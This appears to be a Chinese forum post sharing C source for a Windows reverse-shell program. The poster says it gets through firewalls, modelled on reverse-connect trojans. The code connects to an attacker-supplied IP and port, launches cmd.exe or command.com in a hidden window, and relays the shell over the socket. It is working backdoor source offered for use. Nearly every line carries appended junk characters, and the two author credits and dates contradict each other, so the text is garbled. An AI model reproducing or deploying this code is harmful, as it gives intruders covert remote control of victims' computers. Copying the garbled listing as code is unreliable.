这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hv{87`L'K(
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/* ============================== F"v:}Vy|
Rebound port in Windows NT 9M]^l,
By wind,2006/7 |=u96G~N
===============================*/ 6+)x7g1PL
#include SXh?U,5u
#include %Gu][_.L
wn1,
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#pragma comment(lib,"wsock32.lib") Ysl9f1>%
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void OutputShell(); i7(~>6@|
SOCKET sClient; ,S0UY):( A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Vq U|kv
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void main(int argc,char **argv) ;.AV;C"
{ /:KQAM0
WSADATA stWsaData; ?CFoe$M
int nRet; ]/[0O+B?
SOCKADDR_IN stSaiClient,stSaiServer; {!y<<u1
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if(argc != 3) 'QnW9EHLF
{ ?lyltAxs'
printf("Useage:\n\rRebound DestIP DestPort\n"); 8J):\jAZ6
return; *V -ds8AQ
} `$M
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WSAStartup(MAKEWORD(2,2),&stWsaData); ]Ly8s#<g]N
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ? osfL
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stSaiClient.sin_family = AF_INET; ]xYa yN!n
stSaiClient.sin_port = htons(0); X+%u(>>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T(gg>_'jh
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4ODX5If
{ cP J7E
printf("Bind Socket Failed!\n"); 4M7^
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return; Op90NZI#K
} 8lpzSJP4k
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stSaiServer.sin_family = AF_INET; v?}pi
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Qj:{p5H'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .X^43
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %pqL-G
{ }I)z7l.
printf("Connect Error!"); pKnIQa[c
return; ,uO?;!t
} LjCykk
OutputShell(); g&XhQ.aa
} [*tU}9
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void OutputShell() g/6nwa
{ O[L\T
char szBuff[1024]; #]igB9Cf)w
SECURITY_ATTRIBUTES stSecurityAttributes; &jFKc0\i@
OSVERSIONINFO stOsversionInfo; p[b7E`7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pb6 Q?QG,
STARTUPINFO stStartupInfo; Z+Xc1W^
char *szShell; M",];h(I6(
PROCESS_INFORMATION stProcessInformation; 1-/4Y5?}
unsigned long lBytesRead; {vjqy&?y
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D?%e"*>
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); LK{a9`
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stSecurityAttributes.lpSecurityDescriptor = 0; 98=XG1sQ@
stSecurityAttributes.bInheritHandle = TRUE; 5"[yFmP*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5qeT4|
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;*_I,|A:Xr
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wqf& i^_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nwhm[AaNs
stStartupInfo.wShowWindow = SW_HIDE; FRc |D
stStartupInfo.hStdInput = hReadPipe; 8dlInms
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; aK!xRnY
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GetVersionEx(&stOsversionInfo); "\}21B~{7'
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switch(stOsversionInfo.dwPlatformId) ^971<B(v
{
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case 1: UQSX<6"
szShell = "command.com"; $,g 3*A
break; n|J.)E.
default: .\)--+(
szShell = "cmd.exe"; Dxz5NW4
break; Gi;9 S
} eK\|SQb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WT I 'O
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send(sClient,szMsg,77,0); 38<~R
while(1) .0?ss0~
{ >\RDQ%z
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Vvx a.B
if(lBytesRead) 'T6B_9GQ8
{ t
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); kqQphKkL
send(sClient,szBuff,lBytesRead,0); 7=L:m7T
} -`,~9y;tx
else EUJ1RhajF
{ kbD*=d}3{
lBytesRead=recv(sClient,szBuff,1024,0); &Jrq5Q C
if(lBytesRead<=0) break; ,>:XE@xcp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |dW2dQ
} buc,M@>
} fMgcK$
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return; 9@kcK
}